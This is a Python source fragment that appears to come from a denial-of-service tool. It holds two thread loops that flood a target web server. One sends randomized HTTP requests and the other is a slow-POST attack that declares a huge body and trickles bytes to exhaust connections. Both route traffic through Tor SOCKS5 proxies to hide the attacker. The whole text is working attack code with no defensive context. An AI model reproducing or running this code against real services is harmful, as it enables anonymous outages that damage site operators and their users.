def run(self): sleep(choice(self.sleepRange)) while not self.stopped: try: sleep(choice(self.sleepRange)) s = socks.socksocket() if self.anonimize: s.setproxy(socks.PROXY_TYPE_SOCKS5, self.torip, int(choice(self.torportlist))) s.connect((self.host, self.port)) s.settimeout(1) turi = choice(['/', funcs.createRandAlpha(length=random.randint(1,20))]) if turi != '/': turi = '/' + turi if choice([True,False]): turi = turi + "." + choice(['html', 'htm', 'php', 'aspx', 'cfm']) s.send("%s %s HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n\r\n" % (choice(self.verbs), turi, self.hostheader, funcs.getRandUserAgent()) ) s.close except Exception, e: #print e.args sleep(1) continue
def run(self): sleep(choice(self.sleepRange)) while not self.stopped: while not self.stopped: try: s = socks.socksocket() s.setproxy(socks.PROXY_TYPE_SOCKS5, self.torip, int(choice(self.torportlist))) s.connect((self.host, self.port)) s.settimeout(1) s.send("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Connection: close\r\n" "Keep-Alive: 900\r\n" "Content-Length: 1000000\r\n" "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.uri, self.hostheader, funcs.getRandUserAgent()) ) except Exception, e: #print e.args sleep(1) continue while not self.stopped: try: #for i in range(0, 9999): # send some initial data s.send("abc=%s&def=" % choice(self.choicePool)) for i in range(0, 9999): ''' slowly send bits of data in so as to keep that socket active ''' sleep(choice(self.sleepRange)) s.send("%s" % choice(self.choicePool)) s.close except Exception, e: if e.args[0] == 32 or e.args[0] == 104: s = socks.socksocket() break sleep(0.1) pass